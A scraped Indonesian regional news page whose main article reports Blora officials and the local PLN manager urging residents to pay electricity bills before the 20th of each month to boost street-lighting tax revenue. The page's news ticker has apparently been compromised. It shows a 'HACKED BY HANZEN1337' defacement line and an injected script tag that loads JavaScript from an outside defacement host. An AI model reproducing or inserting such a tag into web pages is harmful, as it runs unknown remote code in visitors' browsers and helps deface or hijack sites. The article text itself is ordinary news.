News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah

Pemkab Blora Imbau Pelanggan Bayar Listrik Tepat Waktu

Blora - Pemerintah Kabupaten Blora melalui Badan Pengelolaan dan Pendapatan Keuangan dan Aset Daerah (BPPKAD) Blora semakin memasifkan mengimbau kepada masyarakat agar melakukan pembayaran listrik tepat waktu guna mendukung pembangunan Kabupaten Blora.

“Dengan membayar listrik tepat waktu sebelum jatuh tempo, yaitu sebelum tanggal 20 dalam setiap bulannya, masyarakat telah berpartisipasi aktif dalam peningkatan pendapatan asli daerah (PAD) Kabupaten Blora," kata Kepala BPPKAD Kabupaten Blora, Slamet Pamuji, Selasa (07/11/2023).

Dengan membayar listrik tepat waktu, terang Slamet Pamuji, masyarakat juga secara tidak langsung membantu percepatan pengumpulan Pajak Penerangan Jalan (PPJ) yang sepenuhnya akan diberikan oleh pihak PLN ke pendapatan Kabupaten Blora yang nantinya akan digunakan untuk pembangunan Kabupaten Blora.

“Dari pembayaran tagihan listrik itu, Pemkab Blora akan mendapatkan persentase dari capaian pajak penerangan jalan atau PPJ,” ungkap Slamet Pamuji.

Lebih lanjut, Slamet Pamuji menjelaskan, PPJ ini merupakan PAD yang menjadi amanat undang-undang, yaitu Undang-Undang Nomor 28 Tahun 2009 tentang Pajak Daerah dan Retribusi Daerah.

"UU tersebut menjelaskan bahwa PLN bertindak sebagai pihak yang membantu pemungutan PPJ karena PLN merupakan penyedia tenaga listrik yang dikenakan pajak atas penggunaan oleh pelanggan," jelas Slamet Pamuji.

Sampai saat ini, tambah Slamet Pamuji, realisasi pajak daerah dari PPJ di Kabupaten Blora sebesar Rp. 23,57 miliar atau mencapai 85,7 persen dari target 2023 sebesar Rp 27,5 miliar.

Slamet Pamuji juga mengungkapkan, dengan membayar listrik tepat waktu setiap bulannya, juga akan terhindar dari pemutusan sementara jaringan listrik.

Sementara itu, Manajer PLN ULP Blora, Setiyo Karminto mengatakan, selain membantu pembangunan di Kabupaten Blora dengan membayar listrik tepat waktu, masyarakat telah membantu negara dan PLN untuk kelancaran pasokan listrik dan peningkatan pelayanan.

“Listrik adalah kebutuhan. Warga membutuhkan listrik, sementara kami membutuhkan biaya untuk pasokannya. Dari pembayaran tagihan listrik itu, di antaranya juga untuk pajak daerah,” kata Setiyo.

Setiyo menambahkan, di era digital ini PLN juga terus memberi kemudahan bagi pelanggan dalam membayar tagihannya. Masyarakat tidak perlu datang langsung ke kantor PLN.

Sebab, saat ini pembayaran bisa dilakukan dengan cara online. Baik melalui Payment Point Online Bank (PPOB) melalui aplikasi perbankan, maupun melalui aplikasi PLN mobile.

“Aplikasi PLN mobile bisa diunduh di Play Store untuk handphone Android dan di App Store untuk handphone dengan sistem operasi iOS. Pembayaran tagihan listrik juga bisa dilakukan di kantor pos, Indomaret hingga Alfamart. Sangat mudah, harapan kami, dengan adanya kemudahan ini, pelanggan bisa bayar listrik tepat waktu, sebelum tanggal 20 dalam setiap bulannya,” pungkas Setiyo. (teg/toh)

Reporter: Priyo, S Pd
Editor: Mohamad Tohir

Berita Terkait
1783867355.3966 at start, 1783867356.3538 at end, 0.95717787742615 sec elapsed